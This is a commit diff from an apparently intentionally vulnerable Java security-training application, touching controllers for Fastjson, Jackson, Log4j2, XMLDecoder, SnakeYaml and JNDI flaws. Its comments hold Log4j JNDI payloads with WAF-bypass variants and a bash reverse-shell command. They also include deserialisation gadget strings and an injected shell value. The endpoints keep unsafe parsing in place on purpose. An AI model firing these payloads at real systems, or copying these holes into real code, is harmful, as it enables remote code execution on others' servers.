Skip to content

Commit a06dc4c

Browse files
committed
🍺 Java Sec
1 parent 07f183b commit a06dc4c

File tree

19 files changed

+162
-103
lines changed

19 files changed

+162
-103
lines changed

src/main/java/com/best/hello/controller/Admin.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,6 @@
1818
@RequestMapping("/admin")
1919
public class Admin {
2020

21-
2221
@ApiOperation(value = "查询系统基本信息")
2322
@GetMapping("/info")
2423
@ResponseBody

src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,6 @@ public String vul(@RequestBody String content) {
3333
JSONObject jsonToObject = JSON.parseObject(content);
3434
log.info("[vul] Fastjson");
3535

36-
// 获取ob中name字段;
3736
return jsonToObject.get("name").toString();
3837

3938
} catch (Exception e) {

src/main/java/com/best/hello/controller/ComponentsVul/JacksonVul.java

Lines changed: 1 addition & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
package com.best.hello.controller.ComponentsVul;
22

3-
import com.fasterxml.jackson.core.JsonProcessingException;
43
import com.fasterxml.jackson.databind.ObjectMapper;
54
import io.swagger.annotations.Api;
65
import org.springframework.web.bind.annotation.RequestBody;
@@ -12,17 +11,10 @@
1211
@RequestMapping("/Jackson")
1312
public class JacksonVul {
1413

15-
/**
16-
*
17-
* com.nqadmin.rowset.JdbcRowSetImpl类绕过了之前jackson-databind维护的黑名单类,并且JDK版本较低的话,可造成RCE。
18-
* 可利用JDK版本:11.0.1、8u191、7u201、6u211之前
19-
* 影响版本:2.0.0 <= FasterXML jackson-databind < 2.9.10.4
20-
* pom引入版本低会报错,参考其他demo
21-
*/
2214
@RequestMapping("/vul")
2315
public String vul(@RequestBody String content) {
2416
try {
25-
//String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";
17+
// String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";
2618

2719
ObjectMapper mapper = new ObjectMapper();
2820
mapper.enableDefaultTyping();

src/main/java/com/best/hello/controller/ComponentsVul/Log4jVul.java

Lines changed: 0 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -17,18 +17,10 @@ public class Log4jVul {
1717
* 原理:一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要能控制log参数内容,就有机会实现漏洞利用。
1818
* 反弹shell: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,str_base64}|{base64,-d}|{bash,-i}" -A IP
1919
*
20-
* bypass waf
2120
* content=${jndi:rmi://rmi.44qbby.dnslog.cn/a}
22-
* content=${${::-j}ndi:rmi://mi.44qbby.dnslog.cn/ass}
23-
* content=${${::-j}ndi:ldap://haha.44qbby.dnslog.cn/ass}
24-
* content=${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nono1.44qbby.dnslog.cn/ass}
25-
* content=${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://nono2.44qbby.dnslog.cn/ass}
26-
*
27-
* 修复:log4j2.formatMsgNoLookups=True,dnslog也就无回显了
2821
*/
2922
@PostMapping(value = "/vul")
3023
public String vul(@RequestParam("q") String q) {
31-
// ${jndi:ldap://lala.pvs999.ceye.io/test}
3224
System.out.println(q);
3325
logger.error(q);
3426
return "Log4j2 JNDI Injection";

src/main/java/com/best/hello/controller/Deserialize/XMLDecoderVul.java

Lines changed: 0 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -22,14 +22,6 @@ public class XMLDecoderVul {
2222
* XMLDecoder 是JDK的一个对象转XML的工具。所以本质上 XMLEncoder 与 XMLDecoder 也是一种序列化(编码)与反序列化(解码)的操作。
2323
* XMLDecoder在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。在项目中应禁止使用XMLDecoder方式解析XML内容
2424
* 在weblogic中多个包(wls-wast、wls9_async_response、_async)使用了该类
25-
* <p>
26-
* XML 标签属性介绍
27-
* - java 标签:表示使用的 Java 版本信息 以及创建该 XML 文档所使用的类
28-
* - object 标签:表示对象,class 指对象具体的类型
29-
* - void 标签:表示函数调用、赋值等操作,method 指定具体的方法名称
30-
* - int 标签:表示数值类型
31-
* - string 标签:表示字符串
32-
* - array 标签:表示数组,class 表示数组的类型,length 表示数组的长度,内部 void 标签的 index 属性表示数组的索引值
3325
*/
3426

3527
public static void main(String[] args) {

src/main/java/com/best/hello/controller/Deserialize/YamlVul.java

Lines changed: 1 addition & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -12,13 +12,7 @@
1212
@RequestMapping("/Deserialize/yaml")
1313
public class YamlVul {
1414

15-
/**
16-
* 常见场景:
17-
* 远程服务器支持用户可以输入yaml格式的内容并且进行数据解析,没有做沙箱,黑名单之类的防控。(这种常见于云平台,如kubernetes
18-
*
19-
* @poc content=!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'rmi://127.0.0.1:2222/exp', autoCommit: true}
20-
* @poc content=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2222"]]]]
21-
*/
15+
2216
@ApiOperation(value = "vul:SnakeYaml 反序列化漏洞", notes = "yaml是用来处理数据的,相对于xml和json来说较少见")
2317
@PostMapping("/vul")
2418
public void yaml(String content) {

src/main/java/com/best/hello/controller/JNDI.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ public void vul(String content) {
2323
log.info("[vul] JNDI注入:" + content);
2424

2525
try {
26-
//String payload = "rmi://127.0.0.1:1099/beu8rp";
26+
// String payload = "rmi://127.0.0.1:1099/beu8rp";
2727
// lookup:通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。
2828

2929
Context ctx = new InitialContext();

src/main/java/com/best/hello/controller/Login.java

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,8 @@ public class Login {
2121
@ApiOperation(value = "登录")
2222
@RequestMapping("/user/login")
2323
public String login(@RequestParam("username") String username, @RequestParam("password") String password, @RequestParam("captcha") String captcha, Model model, HttpSession session, HttpServletRequest request) {
24+
25+
// 验证码复用
2426
if (!CaptchaUtil.ver(captcha, request)) {
2527
CaptchaUtil.clear(request);
2628
model.addAttribute("msg", "验证码不正确");

src/main/java/com/best/hello/controller/RCE/LoadJsVul.java

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -28,9 +28,6 @@ public class LoadJsVul {
2828
@GetMapping("/vul")
2929
public String jsEngine(String url) {
3030
try {
31-
// 通过脚本名称获取
32-
// ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");
33-
// 通过文件扩展名获取
3431
ScriptEngine engine = new ScriptEngineManager().getEngineByExtension("js");
3532

3633
// Bindings:用来存放数据的容器

src/main/java/com/best/hello/controller/RCE/RuntimeVul.java

Lines changed: 0 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -53,17 +53,4 @@ public static void main(String[] args) {
5353
}
5454
}
5555

56-
57-
@ApiOperation(value = "safe:这种方式不存在命令执行")
58-
@RequestMapping("/safe")
59-
public static void safe(String cmd) {
60-
String test = ";echo 1 > 1.txt";
61-
String Command = "ping 127.0.0.1" + test;
62-
63-
try {
64-
Runtime.getRuntime().exec(Command);
65-
} catch (IOException e) {
66-
e.printStackTrace();
67-
}
68-
}
6956
}

0 commit comments

Comments
 (0)